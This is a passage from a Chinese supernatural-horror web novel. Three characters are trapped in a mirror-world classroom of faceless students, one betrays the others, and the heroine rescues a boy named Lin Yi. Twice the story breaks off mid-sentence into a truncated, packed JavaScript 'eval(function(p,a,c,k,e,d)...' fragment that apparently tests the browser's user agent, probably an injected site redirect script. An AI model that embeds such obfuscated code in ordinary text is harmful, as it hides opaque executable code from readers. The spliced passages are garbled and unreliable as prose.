那人紧紧贴着她的后背,下巴抵在她的肩膀上:“...救...他。” 不知道是不是没有等到自己想要的答案,捂着安然眼睛的十指倏地用力下按,那样子似乎打算将她的眼睛硬生生挖出来:“...救他...救...林...异...” 施压在安然眼球上的力道越来越重,眼泪顺着对方的指缝滑落:“...好。” 身后的力道蓦地一松。 安然无力地倚靠着扶手,大口大口地喘着气,差点没把手里的蜡烛摔到地上。眼睛火辣辣的疼,轻轻一碰眼泪就止不住的往下掉,随手抹了把脸颊上的泪痕,回想着之前在姜慧记忆里看到的画面。 也许... 姜慧的执念并不是找到自己的尸体,而是救出镜子里的林异。 可这题对她一个菜鸟来说是不是有些超纲了? 万一林异被镜子吞了,自己岂不是也要跟着玩儿完?!还有老头子这一堆破烂到底有没有用?来这都半天了愣是一个有反应的都没有! 安然深深吸了一口气。无能狂怒要是有用,她早就疯一把大的了。而现实情况却是哪怕这题严重朝纲,可卷子已经发到手上了,除了硬着头皮继续,压根也没给她留第二条活路。 虽然明白其中的利弊,但人毕竟不是机器,情绪更不可能说收敛就能收敛。任谁都无法在以为事情已经彻底结束却突然被告知一切才刚刚开始后能还保持冷静的。 安然站在原地不停做着深呼吸,直到大脑快要缺氧,才勉强控制住了快要暴走的情绪。 伸头缩头都是一刀,她也不再犹豫,直接踏上了最后一级台阶。 ‘45。’ 刺目的光亮蛰的安然眼睛一疼,她下意识用手去遮挡,却蓦地发现手里了蜡烛不是到什么时候已经不见了。但这会也顾不上蜡烛不蜡烛了,不知道是不是在黑暗里待得太久,这会儿泪腺已然失去了自主权,眼泪不要钱似的涌出眼眶。 她下意识往后退了两步,却被一只手死死捂住了嘴巴。 安然闻到了血腥味。 “别出声。是我。”秦以淮的压得极低的声音在安然耳边响起。 安然点头,示意自己不会出声。 秦以淮收回捂着安然的手,压低声音:“我扶你。” 没走几步,安然头顶便被一团阴影所覆盖。有了东西遮掩,她的眼睛很快便重新适应了光线。尽管仍旧有些模糊,但也勉强够她看清周围的情况。 这是一间教室。 她、秦以淮还有瞿星瑶正挤在离讲台不远的角落。秦以淮满身是血,瞿星瑶也没好多少。 讲台下站满了穿着同样校服的学生。他们的脸上没有五官,一张张苍白平整的脸像极了拨了壳的鸡蛋。 他们忙着各自的事情,似乎完全没有注意到他们三个。 安然看向两人,用眼神询问怎么回事。 秦以淮抬头看了眼对面墙上的挂钟,将食指立在唇边,抬了抬下巴,示意安然不要说话自己看。 “铃——-” 刺耳的铃声在这时突然响起。 安然捂住了耳朵。 等到铃声消失,那些无脸的学生已经全部坐回了各自的座位上,每个人都保持着垂头看书的姿势,一动不动。 秦以淮和瞿星瑶这才松了口气般瘫坐在了地上。 “怎么回事?” 从两人口中得知他们也是走到45级台阶后,一睁开眼睛便发现自己来到了这间教室。 当教室里的这些无脸人坐在自己位置上看书时,他们可以随意走动、说话、甚至翻找这里的东西。只是一旦下课,那些无脸人的听觉就会变得十分敏锐还会对发出声音的东西进行攻击。 安然看着两人身上的伤,眼睛微微眯了起来,以这两人的智商不至于在发现无脸人的习性后还继续作死:“你们还做了什么?” “我们发现教室的门只有在下课的时间段才能打开...”瞿星瑶苦笑,“可一旦开门就立马会被所有无脸人攻击。他们的速度很快,我们根本支撑不到开门离开。” 安然看着两人身上的伤,衣服破开的位置很整齐,不是撕开的,倒像是被利器强行划开,她若有若思:“他们有刀?” 秦以淮摇头:“这些无脸人力气很大,没有痛觉且不知疲倦,最主要的是在他们发出攻击时,双手会变成尖锐的镜片。” “镜片?”安然讶异地看向那些仿若半成品手办的无脸学生。 只这一眼,她的身体便像是被强大的电流击中,每一根神经都跟着不停地震颤。 这一幕...她见过。 那天去厕所时路过的那个安静的、每个人都在认真看书的教室。 她当时肚子疼又有些心烦意乱,所以压根没想起来那间厕所旁边根本就没有教室! 所以... 就在这时,窗外有一道人影经过,那人隔着窗户看了看,往后退了几步,随即似乎听到了什么,又继续往前走了。 安然呼吸瞬间变得急促,弯腰按住翻江倒海的胃,强烈的错愕让她差点没直接吐出来。 “你怎么了?”瞿星瑶递来一张纸巾,语气担忧。 “你们没看到么?”安然接过纸巾,瞥了眼窗外,又看向对面的两人。 “什么?” “什么?” 两人异口同声的回答让安然瞬间明白了看到刚刚那一幕的人只有自己。 “我刚刚看到窗外走过去一道人影。”但她没说的是那道人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有什么依据么?”靠在墙边休息的瞿星瑶一听安然这话来了精神,这个教室她和秦以淮检查了2.3遍,什么都没有找到,这会儿听安然这么说,也撑着身子好奇地凑了过来。 “我看过当年失踪案的卷宗,虽然只是大致扫了一眼,但还是有几个印象比较深刻的。就比如这个扎着丸子头的女孩,我记得她好像是姓尹...那个头发特别少的男生...还有那个中分头...” 安然手指到一半,倏地停了下来,怔愣地看着教室的某处角落。 旁边两人见她突然安静,好奇地顺着她的目光看过去,但却并没有发现任何异常。 “怎么...” “铃——-” 尖锐的铃声猛地钻进了三人的耳膜。 安然手腕一紧,被秦以淮拉着往门边的墙角跑去。尽管对方的反应已经很快了,但还是迟了一步,那些无脸人不知道什么时候已经离开自己的位置,挡在了秦以淮面前! 43. 第43章 闪着寒光的镜片清晰倒映着安然来不及做出任何表情的脸。 秦以淮用力一扯,刺向她脖子的镜片一偏,锋利的刃口虽然没有划破皮肤,但刺骨的寒意哪怕隔着衣服也感受的一清二楚。 反观秦以淮就没那么好运了,为了救安然,后背直接被他身后的无脸人划了一道长长的口子,滚烫的鲜血一下子涌了出来,攥着安然手腕的手却死死扣着。 秦以淮不敢吭声,不敢动,更不敢还手,只是动作极慢地蹲了下来。连着几次的教训让他清晰的认识到自己根本不是那些怪物对手。还手只会制造出更多的声音和更多的伤口。 安然见秦以淮的动作,立马明白了对方的意思,虽然他们周围有好几个无脸人,彼此间更是一抬手就能轻松碰到的距离,但她还是屏住呼吸,慢慢蹲了下来。 让她意外的是,那几个无脸人只在原地停留了片刻之后,双手便恢复了正常。 眼看着身边的无脸人有了离开的趋势,看来这些东西即便听力敏锐,但也十分有限,而且一旦听不到声音,就会恢复正常,并不会自主寻找目标进行攻击。可就在她以为他们两个能暂时把心放回肚子里时,一个青铜的小铃铛从天而降掉在了她的脚边,发出清脆的‘叮铃’、‘叮铃’。 “跑!” 秦以淮大喊一声将安然推了出去,她狼狈的就地滚轮一圈,才堪堪躲过无脸人划向脚踝的一下。 不知道这铃铛是不是特质的,掉在地上并没有停止响动的意思,反倒像个闹钟似的响个不停。秦以淮想将铃铛捡起来扔向其他地方,一伸手却抓了个空。 铃铛竟跟着安然在地上打了个两个滚。就连原本砍向秦以淮的无脸人也硬生生调转了个方向朝着安然所在的位置扑了过去。 整间教室的无脸人将安然团团围住,只有叮铃叮铃的声音从围得水泄不通的人群里传出来。 秦以淮焦急地拉扯着外围的那些无脸人,但根本没有用,那些像是着了魔般压根不搭理秦以淮,只是一个劲儿地往人群中间里挤,甚至还有爬到其他无脸人头顶的。 “安然!” “安然!” 秦以淮这会儿也顾不得能不能说话了,大声呼唤着被无脸人包围的安然。 一开始他还能听到安然的声音,但没多久,回应他的只有不断传来的清脆的铜铃声。 “没用的。”瞿星瑶站在门边,看向秦以淮:“那铃铛对于鬼魂来说有着致命的吸引力。有它在,别说这些被封了五感的灵魂,就是厉鬼...也摆脱不了。” “让它停下来。”秦以淮的眼神冷得像是三九的寒冰,没有半点温度。 瞿星瑶耸肩:“你应该比我更清楚那些东西的威力,就算我能让铃铛停下来,她也活不下来了。”她的声音平静到听不出半点起伏:“我要是你...真要为她好,不如想办法给她个痛快。毕竟千刀万剐可不是什么痛快的死法。如果...” “你能挤得进去的话。” 见秦以淮不吭声,瞿星瑶露出个过来人的表情:“你有不得不寻找到的...人,我也有。那小姑娘和你也不过是半路结盟,与其在这里等死...不如和我一起离开这里。怎么样?” 她一手攥着门把,一边用邀请的眼神看向秦以淮。 秦以淮回头看了眼安然所在的方向,又看了眼瞿星瑶握着的门把,陷入了犹豫。他知道对方说的没错,安然被围在那些无脸人中间,活下来的几率太低了。 离开,才是最正确的选择。 “只剩2分多钟喽!”瞿星瑶看了眼挂在墙上的时钟,笑眯眯地看向秦以淮。 秦以淮收回视线,朝着教室门快步走了过去。 瞿星瑶眼底闪过一抹了然和淡淡的得意,刚想说点什么,就见秦以淮手中寒光一闪,朝着她心口的位置直刺了过来。 “你!”瞿星瑶松开把手,向旁边一躲,胳膊上被狠狠划出来一道口子,这一下下手极狠,只见伤口处皮肉外翻,深可见骨,血一下子喷溅了出来。 秦以淮却没有停手的打算,匕首闪着冷冽的光,再次刺向瞿星瑶的心口。 瞿星瑶之前是没想到秦以淮会突然出手,这会儿已经有了准备自然不会再让他得手,对着他腹部伤口的位置狠狠一踢,秦以淮闷哼一声,后退了好几步,手中的匕首也差点掉在地上。 瞿星瑶看了眼秦以淮咕咕鲜血涌出的伤口,面露讥讽勾了勾唇,然后便听一声尖锐的吱嘎声,门开了,她毫不犹豫地走了出去。 由于秦以淮第一个到达这里,所以他受的伤是这三人中最多的,而原本隐隐有愈合趋势的伤口,被瞿星瑶刚刚那一踢彻底裂开了,鲜血顺着他的指缝滴答滴答掉在地上,他脸色苍白地看了眼仍旧围成一圈的人群,又看了眼挂在墙上的时钟,只剩1分钟不到了。 秦以淮握紧了沾血的匕首,这东西是突然出现在他手上的。 他垂眸沉思了片刻,心里隐隐有了一个猜测后,便将匕首放在讲台上。 万一... 万一安然能活下来... 他没有再想下去,而是捂着伤口,踉跄地走到教室门,用尽所有力气狠狠一拉,‘吱嘎--’门开了。 秦以淮咬紧牙关,没再回头,径直走向了迷雾中的走廊。 “叮铃--” “叮铃--” 尖锐的铃声盖过了青铜铃清脆的声响。 原本围成一圈的无脸人像是得到了某种指令,纷纷从癫狂的状态中清醒过来,机械地走向各自的座位上。人群散开后,露出了中间一个圆形的茧。 圆茧由无数干枯的枝杈组成,看上去像个巨大的椭圆形的蹴鞠。 一根树枝从圆茧中深了出来狠狠地劈在青铜铃上,只听咔嚓一声脆响,青铜铃便一分为二,彻底碎成了两半。青铜铃一毁,圆茧上的枯枝便开始抽离,里面包裹着的人也渐渐露了出来。 安然面色沉寂,像是睡着了。 只几个呼吸的功夫,那些由她心脏位置延生出来的枯枝纷纷退散,全部缩回她的心口。 安然睁开了惺忪的睡眼,迷茫地看向四周。忽地想到了什么,低头看向自己的掌心,淡灰色的粉末从指缝中纷纷扬扬落了下来。 难道是刚刚那些符起了作用? 她记得当时无论她怎么推搡那些无脸人,他们的身体就像是冰冷而厚重的玻璃,根本无法撼动分毫。 好几片闪着寒光的镜面朝着她劈了过来,安然以为自己死定了。却突然感觉大腿一热,伸手一抹,之前还空空如也的口袋装满了她之前带在身上的符箓。 安然不知道那些符是怎么凭空出现的,但它们的确起了作用作用。 每当有尖锐的镜片要划到她时,就会有一张符箓燃烧起来为她挡下致命一击。 安然突然间想到了什么,猛地低头看向自己的胸口,却什么都没看到。 怎么会... 她明明记得自己心口之前被刺了一刀。 原本,安然也以为自己能借着手中的符箓逃过一劫,但她忽略了那些无脸人的数量,再多的符箓也架不住数不清的攻击。最后一张符箓化成了灰烬的那一刻心口便被狠狠划了个口子,然后... 心口的肌肉随着她的回忆竟隐隐抽痛了起来,锥心的疼痛似乎仍牵制着心脏连接的神经。 但在那之后的记忆一点儿都没有。 怪异的感觉一闪而逝,安然捂着心口的指尖渐渐收紧,自己身上一定有什么不对劲。应该不止老头子说的招鬼那么简单。 安然从自己的思绪里清醒过来,这才发现周围似乎安静过了头,环视了一圈,发现瞿星瑶和秦以淮都不见了。 从地上爬起来,余光瞥见地上裂成两半的铜铃铛。 裂了... 是秦以淮么? 将铃铛放在掌心,这东西明显是瞿星瑶扔向他们的,目的就是想要用他们之中的一个来做饵。这玩意扔出去后大概率是必须和活人保持一定距离才会发出声响。 至于为什么之前没用在秦以淮身上,她猜测应该是和她的符箓一样,这铃铛一开始应该并不在瞿星瑶身上。 安然掂了掂裂开两半的铃铛,还挺压手。铃铛外壳很厚,上面覆盖着青绿色的铜锈,看上面的图案,大概是一只镂空雕的野兽,青面獠牙,认不出来是什么品种。其中一半里有一颗圆形的暗红色石头,透光看了半天,并没有看出什么名堂。 在确定这东西不会发出声音以后,安然随手将它放进了兜里,也许以后能用得上,谁又说的准呢? 安然在教室里环视了一圈,和之前一样,并没有什么不同。 偌大的空间只有她一个活人。 瞿星瑶的离开在她意料之内,至于秦以淮,也在情理之中。当时就连她自己当都觉得那是必死无疑的死局。扪心自问,如果位置调换,她也做不出明知是死局还留下来赴死的决定。 经过讲台时,安然看见了那把带血的匕首。 匕首上面的血渍并没有干涸,看样子沾上的时间并不久。随手将刀刃在讲台边缘抹了两下,便将匕首别在了腰后。 抬头看了眼挂在墙上的时钟,皱了下眉。按照秦以淮之前说的,上课是45分钟,下课是10分钟,这个点...应该才刚刚上课才对。 还是她记错了? 安然走到靠门的角落里坐了下来。尽管理智上知道秦以淮的做法没有错,但情感上还是多少会有种被同伴抛弃的委屈。尤其是面临这种找不到出路的死局的时候。 她的视线一一扫过那些垂头看书的无脸人身上,眸光一凝,猛地站了起来。 她怎么能忘了那个人?! 之前就是因为看他看的太过出神才会将自己和秦以淮拉进危险之中。 安然走到那人身边,居高临下的看着那个低垂着脑袋的无脸人,标志性的长刘海遮住了那张光洁如新一览无遗的脸。为了以防万一,她还特意在对方胸口上摸了一把,确定不是女生后,才长长松了口气。 眼前这个无脸男有着和姜慧记忆里一模一样土的没边的发型。如果她没猜错的话,这人很可能就是林异。 可问题又来了,就算他百分之一百是林异也没用,对方又不会跟自己走。安然突然觉得挺讽刺的,要找的人就在眼前,他们一个两个的却只想离开。 “林异?” 她试着叫了一声对方的名字。 “林异!” 安然声音大了一些。 “林异!!!” 她记不得是安老头给她讲的还是在哪本民俗书上看到的,说是活人的魂魄长期离体,五感便会渐渐衰弱。如果长时间失去感知,脸上的五官就会慢慢退化,直至消失。但只要对方能想起自己是谁,五感便会归位。 毫无意外的,对方没有任何反应。 安然觉得自己真的是蠢爆了,竟然什么都相信,真要那么简单的话,也就没像安老头那些‘神棍’之类啥事了。按了按胀痛的眉心,重新坐回了门边的墙角。 虽然林异已经找到了,但显然出口并不在这儿,眼下是【3点40】,安然决定先把上下课的时间找出来,再做别的打算。其实说到底这儿还算的上安全,只要不发出声音的话。 【4:00】铃声准时响起。 安然皱眉看着时钟,总感觉这45分钟走的快了些。但她并没有放在心上,毕竟人在思考问题的时候,时间总是过的飞快。 她安静地躲在墙角观察那些无脸人的一举一动。但说实话,看着一帮没有脸的人比划着,或看书,或聊天,实在算得上强烈的精神污染。 如果这些家伙在下课时能听到声音...那如果...她现在叫林异的名字,林异会回应她么?会变正常么? 安然苦笑地摇头,到时候回应她的可不止林异一个。整间教室的无脸人都能听得到。自己手上已经没有符箓了,真要叫出来估计只有被串成糖葫芦这么一个下场。 没有了追逐战,10分钟的休息时间很快就过去了。 再次确认上课的时间是【4:10】后,她先是数了一下人数,教室里一共44个无脸人。 44... 安然在心中反复呢喃着这个数字,总觉得这个数字有着什么样的意义。但眼下想再多也没有意义,她深吸一口气决定开启地毯式的搜索模式。 在爬过每一张桌底后,安然拍了拍基本没什么灰尘的裤子,满头是汗地从书桌下钻了出来。 和之前一样。 找不到任何离开的线索。 安然回头看了眼挂钟:【4:34】离下课还有11分钟,时间还算的上充裕,安然决定再去讲台上找找有没有什么线索。但她刚踏上讲台,下课铃便像是催命符一般响了起来。 安然直接僵在了原地,大气都不敢喘,但她的心里却掀起了惊涛骇浪。时间比预想的整整提早了20分钟!这意味着上课的时间在变短,自己处于安全范围的时间在变短!一旦上课时间归零,是不是意味着教室里的这40多个无脸人彻底没有了束缚?! 安然不知道自己到时候有怎么样的下场,但只有一点毋庸置疑,她的结局应该好不到哪里去。 课间的10分钟犹如一个世纪般漫长。 好不容易挨到【4:45】,安然立马奔向讲台,对着那张木疙瘩里里外外一通翻找。和她想的一样,桌面上什么都没有比她脸还干净,里面更是连半张蜘蛛网都没有。 安然终于不得不承认,这间教室里没有任何能称的上线索的东西。 这是个死局。 【5:00】下课铃声准时响了起来。 这节课只有15分钟... 如果还想不到办法,那就意味着她的下一节课只有5分钟。 5分钟... 5分钟... 她真的能在5分钟之内找到破解的办法么? 安然的视线从那些无脸人身上一一掠过,教室、课桌、黑板、讲台、学生... 还有什么? 环顾教室的目光忽地停了下来,安然握紧了拳头,心中有了一个大胆的猜测。 上课铃声准时响了起来,所有无脸人都回到了自己的座位上。 安然深吸一口气,踏着上课的铃声站到了讲台前。 这里既然有现实教室里所有的硬件和软件,那么有学生,自然该有老师。 她就是这个班级的老师。之前的她大概是被认定成了入侵者,所以这些无脸学生才会在听到声音后攻击他们。 安然其实不是没想过坐到学生之中,假装自己也是其中的一份子,但那样做风险太大。 老师就不一样了。 授教者和受教者本身阶级就大不相同。老师的身份说不定在某种程度上压制那些无脸学生。其实她原本是想在黑板前装模做样写几个字的,但没成想这里压根就没有粉笔。 她不知道自己一直站在讲台前的行为,会不会被这间教室、被眼前的这些学生认可为老师,但眼下实在也是想不出别的法子,只能闭着眼睛赌一把了。 5分钟的时间很快就过去了。 铃声在安然听来像是尖锐的斧子,狠狠砸穿她的耳膜,直达心窝。 呼吸都变得急促了起来。 铃声停止,教室的无脸人并没有像之前那样直接离开自己的位置,只是一个个抬起那白面板似的脸,齐齐对着安然的方向。 虽然他们没有眼睛,但那种被注视的阴森感一点儿都没有少。她隐隐有种自己大概是找到了破局法子的感觉。 她深吸了一口气,看向林异所在的方向,清了清喉咙:“林异,你跟我去一趟办公室。” 她的话音刚落,讲台上便出现了一个文件夹,一把大号三角尺以及一个保温杯。安然将这几样东西拿在手上,心里更是多了几分底气。 余光瞥见已经站起来的林异,安然挺直腰背走到了教室门前,深吸一口气,五指抓住把手。没有刺耳的吱嘎声,没有疾驰而来的无脸人,门很轻松地就被拉开了。 安然率先走出了教室,一回头,竟发现林异的五官在出走教室的那一刻恢复成了原样! 笨重的黑框眼镜遮住了迤逦的凤眸,长长的垂下来的刘海盖住了精致的五官,和姜慧记忆里的人一般无二。 “林...林异?”安然轻唤了一声。 林异缓慢地抬起头,看向安然,但空洞眼神没有焦距,像是在努力分辨着什么。 “林异?”安然再次唤了一声。 林异歪着脑袋,漆黑的眸子里尽是茫然。 “林异。” 林异眼中的茫然在安然的一声声呼唤中渐渐散了,眸中渐渐有了焦距:“你是...谁?” “我是来找你的。” “姜慧让我来救你出去。” 林异听到前一句还是一脸呆滞,但听到后面一句眼睛立马亮了起来,开心的像个找到玩具的孩子:“姜慧?” “对。姜慧。”安然忍不住心中暗自琢磨,这家伙大概就是经常露出这样不符合年龄的幼稚表情,才会被以讹传讹传成了傻子。 但只一瞬,林异脸上开心的表情就不见了,他后退了几步,一脸戒备地看向安然:“你说谎。” 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林异不知道在想什么,安然问了第二遍他才反应过来:“对。” “那我现在进去,将这上面的每个人都带出教室,他们是不是都能恢复正常?” 林异先是点头后又摇头:“那样的话,他们的确能恢复正常,但那扇门只能出不能进,入口并不在那里。” 安然点头,但还是来回拉扯了一下门把,果然,就和对方说的一样,大门纹丝不动。 “你...”你字刚问出口,剩下的话便全部咽了回去,低头看向手里的名单,一个一个的数下来。 45人。 名单上一共45人。 但她刚刚明明数过教室里只有44个无脸人。 “姜慧不在教室里?你们这些被困在镜子里的人还能出去?” “不能。”林异给了安然肯定的回答:“没有被叫到名字并被赋予离开资格的人是不能离开那儿的。” “那姜慧...” “镜子里只有姜慧一半灵魂,另一半在你那儿。”林异脸上露出了沉思的表情:“其实一开始我并不像现在这样完全被束缚在那间教室里。我不止一次想要找到姜慧,但不知道为什么,每次她一看见到我就跑的飞快。但如果只有一半的灵魂,就能解释的通了,她被留在镜子的这一半...很可能没有关于我的记忆...她不记得我了。” 他的表情看上去十分难过:“也是这个原因导致她虽然在镜子里,但却不受它束缚的原因。” 安然若有所思。 也许当时冲向林异的姜慧只有一半灵魂强行逃出镜子的束缚,另一半则被留了下来。“你的意思是这里的姜慧不是被困住的,而是她自己要留下来的?” “嗯。”林异轻轻点了点头,脸上的表情更加悲伤。 安然知道束缚住姜慧的,并不是镜子,而是镜子里的林异。 林异突然抬头看向安然:“你帮我找到进姜慧,我带你离开这里,怎么样?” “你知道怎么离开镜子?”这下就连安然都有些懵了,想不到对方还有这本事。 “我刚刚就说了在镜子被封印之前,我的活动并不受限制,所以知道离开的方法并不稀奇。” 安然纳闷:“那你...”话刚说到一半,她便猜到了答案。姜慧被林异束缚,林异又何尝不是被姜慧束缚在这镜子之中。 但很快,她又想到了一个更严峻的问题:“你说姜慧连你都不认得了,我又能怎么帮你?” 林异指了指她的脚踝:“她们之间有感应。姜慧看到我会跑,但看到你一定不会。这是灵魂间近乎本能的吸引。” 安然了然,随即又看向身后的教室:“你不会恰巧也知道教室入口的位置吧?” “知道。要带你过去么?” 安然将名单折好放进口袋:“等一会儿吧,我朋友也进来了,我得先找到人才行。”带着一帮什么都不知道的拖油瓶可不是什么好事,人肯定是要救的,但前提是找到秦以淮后。 *********** 林异带着安然一路走向楼梯口。 她其实想问问对方为什么最后会被吊死在二楼的转角处的,但直接问总感觉有些不礼貌,于是便捡了些遇到姜慧后发生的事说了。 林异听得很认真。 但当听到吴水妹说姜慧杀了那几害死她的同学时,林异却皱起了眉头:“不可能。” “嗯?”安然看向林异,不知道林异口中的不可能是什么意思。 “那些人不是姜慧杀的。”林异给了她一个措手不及的答案,“姜慧的鬼魂只有一半,绝对没有能力杀死那些人。” 见安然面露狐疑,林异继续:“你以为鬼是什么?可以等比例分成2份,3份,4份?姜慧的情况非常特殊,但就算再特殊,外面那一半能保存到现在也已经是个奇迹了。姜慧的情况就像是被拦腰截成了两半的人,尽管活着,却也已经相当的脆弱,你觉得一个连腿都没有的人,能杀人么?如果我没猜错的话,她之所以能撑到现在,是因为过去一直待在自己身体附近。一旦离得远了,就会魂飞魄散。” 听林异这么一说,安然更糊涂了,如果那些人不是姜慧杀的,又是谁杀了他们? 但这会儿显然不是思考这个问题的好时机,她垂眸沉吟了片刻,问出了最想知道的那个问题。姜慧当时明明抓住了林异的脚踝为什么林异最后还是死了,又怎么会最后会吊死在拐角? 林异沉默了,安然以为对方不会说的,但最后他还是缓缓开了口: 原来姜慧当时的阻拦并没有安然想的那样强烈,林异只是打了个趔趄,便顺利走到了第45个台阶。 林异到现在还记得那面大的出奇的镜子。但他还没来得及仔细观察,就被身后传来的一股大力狠狠一推,直接跌进了镜子里。 镜子的里的空间很大,和一中的建设一模一样。 这里并没有他以为会出现的妖怪,这里只有真相。 他在镜子的世界里看到了所有的真相。瞿星瑶和程景浠的计划,他们的刻意接近、他们的筹谋和算计,以及他们这么做的原因。 林异自愿为成为他们的祭品。在他看来,自己的人生已经没有任何的希望,但他的朋友可以。 哪怕这些朋友只是他的一厢情愿。 安然听后陷入了长久的沉默。虽然不理解林异的做法,但她表示尊重。毕竟人本就是很奇怪的生物,别说不同得的个体,就是同一个人,这一刻和上一刻的想法也不一定相同。 她不是林异,林异自然也不需要她来理解。 安然本来想告诉对方秦以淮大概也在找他,但想了想,这是人家秦以淮自己的事,自己这么越俎代庖,手未免也伸的太长了点。 接下来的时间,两人只是默默搜寻着秦以淮和姜慧的下落,谁也没有再说话。 但学校太大了。 安然甚至觉得自己这么一间间找也是白白忙活,谁知道秦以淮会不会在自己搜寻二楼的时候又重新走进了她已经检查过的三楼? 就在她这么想的时候,突然旁边的教室发出‘哐当’一声巨响,安然和林异对视一眼,齐齐跑了出去。 安然一把推开教室门,就见一道人影猛地窜了出来,安然被狠狠撞在了门上,发出哐当一声巨响,林异想拦却连那人的衣角都没碰到。 但就在她以为自己连对方是男是女都分不出时,那人跑过转角,却突然回过头看了安然一眼,那张脸...分明是姜慧无疑! 44. 第44章 “安然...” “安然...” 安然半天都没有反应,直到林异第三次喊她,才猛地回过神来。 这种感觉实在太奇怪了。 她和姜慧之前一直处于同一视角,这会儿突然转换成了第三视角,这就像是突然有另一个自己站在自己面前一样让人难以置信。 她知道这感觉来的没有丝毫逻辑和道理,但安然此刻就是这种感觉。她知道,对方也有同样的感觉。 现在她算是彻底明白为什么林异会那么肯定自己能找到姜慧了,自己只是作为灵魂的承载者都被影响从而产生了如此强烈的牵引力,作为当事人的姜慧,这种被牵引的感觉只会更强。 “你没事吧?”林异见安然终于缓过神来,松了口气。 安然摇头,刚想说自己没事,余光却瞥见教室里桌椅被推开的地方似乎压着什么东西。那东西被凌乱的桌椅遮掩着,让她一时间分辨不出那究竟是什么。 下意识往里走了几步,这才发现那压根就不是什么东西,而是一个人,一个一动不动看上去像是死了的人。安然心里升起一种不太好的预感,跑过去,将凌乱的桌椅全部挪开,那道修长的身形这才彻底显露了出来,不是秦以淮又是谁? 只见他仰躺在地面,双眼紧闭,好在胸口仍在微微起伏,看样子应该是昏过去了。 “秦以淮...”安然蹲下身,轻拍对方脸颊,“秦以淮...醒醒...” 见人没有反应,安然按住对方人中,一边按一边呼唤:“秦以淮!秦以淮!” 能在这间偌大的学校碰到秦以淮并不是让安然最惊讶的,让她最惊讶的是对方身上的伤口竟然已经全部消失不见了。他身上的伤,安然是见过的,虽说不算致命,但也绝对不是这么几个小时就能愈合的。 哪怕他真有什么愈合伤口的灵丹妙药,但身上的衣服也不可能变得光洁如新,连灰尘都看不见多少。再联想到之前突然出现在身上的符箓,安然对心中那个猜测更加确信了几分。 见安然站在原地,身后走来的林异疑惑:“怎么了?是你朋友...”话说到一半便戛然而止:“他...他...” 林异大概也是第一次看到和自己长得如此相像的人,一时间他了半天也没说出一句完整的话。 “这是我...朋友秦以淮。”安然指着地上仍旧昏迷不行的秦以淮介绍道。秦以淮在之前于安然来说的确只能算是合作伙伴,但现在,秦以淮是丁筝之后她的第二个朋友。 如果不是秦以淮两次救她,她不可能在完好无损的走出那间教室。安然不知道‘朋友’在别人心里如何定义,但在她这儿,朋友是可以交付后背的存在。 “等他醒了,让他自己和你说明情况吧。”安然看着眼眸紧闭的秦以淮,又看了眼窗外渐渐暗沉下来的天,心知这地方马上就要入夜了。 “得快点儿把人弄醒。”林异看了眼窗外,“天要黑了。” 天知道为什么镜子里还有黑白天之分,但听林异的语气也知道这里的白天都诡谲异常,临到晚上只怕更加凶险,带着个昏迷不行的人逃跑显然不现实。如果呼唤和掐人中都不好使,那就只剩最后一个法子了。 林异见安然突然抬手,刚想问对方想要干什么,只听‘啪’的一声脆响,他本能地捂住了脸,最后半个字也没吐出来,一脸怜悯地看着躺在地上的人。 教室的光线已经彻底暗了下来,只有天边零星几点亮光还在负隅顽抗。安然眼中的焦急几乎快遮掩不住:“秦以淮,醒醒!!!” ‘啪!’又是一声,这一下她是卯足了劲儿的,震得掌心都隐隐有些发麻。 “秦...!!!”安然的手腕被猛地攥住。 “别打了...别...靠!”秦以淮松开安然的手腕,撑着身体坐了起来,捂住脸控诉:“安然,你就说你是不是公报私仇?嘶... 这两巴掌都使出你吃奶的力气了吧?” 安然见对方终于醒了,心里的大石终于落了下来,伸手将对方扶了起来:“我要是公报私仇,你觉得你这张脸还能保得住?” 也许是共同经过了生死,两人之间的那种别扭的关系自然不少,也亲近了不少。安然也敏感地察觉到了秦以淮的变化,对方之前给她的感觉有点像是个混乱的系统,人机感相当明显,不管说什么做什么都给人一种十分的刻意的感觉,就像个...像个只能按照说明却不明白其中含义的‘机器人’,所以安然对他始终保持着戒备。 但现在,秦以淮似乎有些像‘人’了。虽然她知道这些比喻相当的不靠谱,也知道可能是因为自己被对方救了,下意识对他有了滤镜的加持,但不管怎么说,她和秦以淮已经是朋友了,这一点毋庸置疑。 “咱们得赶紧去宿舍。”林异催促。 “这地方还有宿舍?”安然讶异。 秦以淮这会儿才注意到这里还有另一个人,但此时教室的光线已经彻底暗了下来,林异整个人被笼在阴影里,在加上刘海遮住了大半张脸,他根本看不到对方的样子,于是转头问安然:“他是谁?” “等会儿再解释,先去宿舍。” 秦以淮听安然这语气,知道她是相信那人的,于是也不再多问,快速跟上两人的脚步...... ************* 瞿星瑶躲在黑暗的教室里。 她以为那间教室就是连接现实的入口,但实际并不是。窗外时不时有扭曲的影子晃过还伴随着嘶哑凄厉的吼叫,她不知道那些数量多到过分的玩意儿究竟是什么,但它们数量很多,非常多,多到光看数量就能引起强烈的生理不适。 瞿星瑶有些心烦意乱。不明白自己明明已经献祭了那个叫安然的小姑娘,为什么还会滞留在这个地方。虽然镜子半封印,许愿的方式跟过去有些不同,但一物换一物的规则应该不会改变才对。 这是瞿星瑶第一次进入镜子的世界,却不是她第一次许愿。除了他们这些被镜子召唤的人,没有人知道,在镜子被封印之前,其实任意一道楼梯都能找到它,至于许愿的人就只需要带上一个人走到镜子面前,然后轻轻一推,愿望就会实现,如此地轻而易举。 这也是这么多年来,哪怕不断有人失踪,也没人发现任何端倪的原因。 她很幸运,这是她的第三次。 那个叫‘安然’的小姑娘就是这一次被她或者说是被‘它’选中的祭品。 瞿星瑶其实在第二次许愿后,就发过誓不会再来这鬼地方。 但人算不如天算——-她的丈夫生病了。 